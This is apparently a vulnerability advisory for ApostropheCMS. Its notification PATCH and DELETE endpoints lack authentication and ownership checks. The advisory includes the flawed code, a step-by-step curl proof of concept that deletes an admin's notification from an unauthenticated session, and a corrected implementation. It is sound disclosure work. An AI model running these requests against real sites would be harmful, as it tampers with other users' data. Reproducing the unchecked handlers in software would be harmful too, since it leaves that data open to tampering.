CVE-2026-113665

## Summary The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. --- ## Affected Code **File** ```text packages/apostrophe/modules/@apostrophecms/notification/index.js ``` ```javascript // restApiRoutes async patch(req, _id) { const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed }); await self.db.updateOne( { _id }, { $set: { dismissed }, $currentDate: { updatedAt: true } } ); } }, async delete(req, _id) { await self.db.deleteMany({ _id }); } ``` Unlike the `GET` notification route, these handlers do **not** verify: - Authentication (`req.user`) - Ownership (`userId === req.user._id`) - Authorization or permissions Instead, the supplied `_id` is used directly against the raw MongoDB collection. --- ## Root Cause The notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization. While the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID. For comparison, the `GET` notification route correctly checks: ```javascript if (!(req.user && req.user._id)) { throw self.apos.error('invalid'); } ``` No equivalent validation exists in the `PATCH` or `DELETE` handlers. --- ## Proof of Concept ### 1. Log in as an administrator ```bash curl -sS -c admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null curl -sS \ -b admin_cookies.txt \ -c admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "username":"admin", "password":"AdminP@ssw0rd123!", "session":true }' ``` --- ### 2. Create a notification ```bash curl -sS \ -b admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/notification \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "message":"manual verify test", "type":"info" }' ``` Example response: ```json { "noteId":"p358r7phi2w8l245ww5130uf" } ``` --- ### 3. Verify the notification exists ```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ``` Response: ```json { "notifications":[ { "_id":"p358r7phi2w8l245ww5130uf", "userId":"i89h844o5n3nbreis0ugusum", "message":"manual verify test" } ], "dismissed":[] } ``` --- ### 4. Access the endpoint without authentication Create a fresh cookie jar containing only the public CSRF cookie: ```bash rm -f anon_cookies.txt curl -sS \ -c anon_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null ``` Then send the request **without any authenticated session**: ```bash curl -i \ -b anon_cookies.txt \ -X DELETE \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \ -H "X-XSRF-TOKEN: csrf" ``` Response: ```http HTTP/1.1 200 OK ``` --- ### 5. Verify the notification has been deleted ```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ``` Response: ```json { "notifications":[], "dismissed":[] } ``` The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client. --- ## Impact An attacker who obtains a valid notification ID can: - Delete another user's notifications. - Mark another user's notifications as dismissed. - Suppress security-related or administrative notifications. The vulnerability primarily affects **integrity**. Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable. --- ## Recommended Fix Require authentication before processing any modification request. Additionally, scope all database operations to the authenticated user. Example: ```javascript // patch async patch(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed }); const result = await self.db.updateOne( { _id, userId: req.user._id }, // <-- ownership check { $set: { dismissed }, $currentDate: { updatedAt: true } } ); if (!result.matchedCount) { throw self.apos.error('notfound'); } } }, // delete async delete(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const result = await self.db.deleteMany({ _id, userId: req.user._id }); if (!result.deletedCount) { throw self.apos.error('notfound'); } } ``` Similarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records. --- ## Recommendation Every notification modification endpoint should: - Require authentication. - Verify ownership (`userId === req.user._id`). - Return `403 Forbidden` for unauthorized requests. - Avoid performing database operations solely using a user-controlled `_id`. The same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.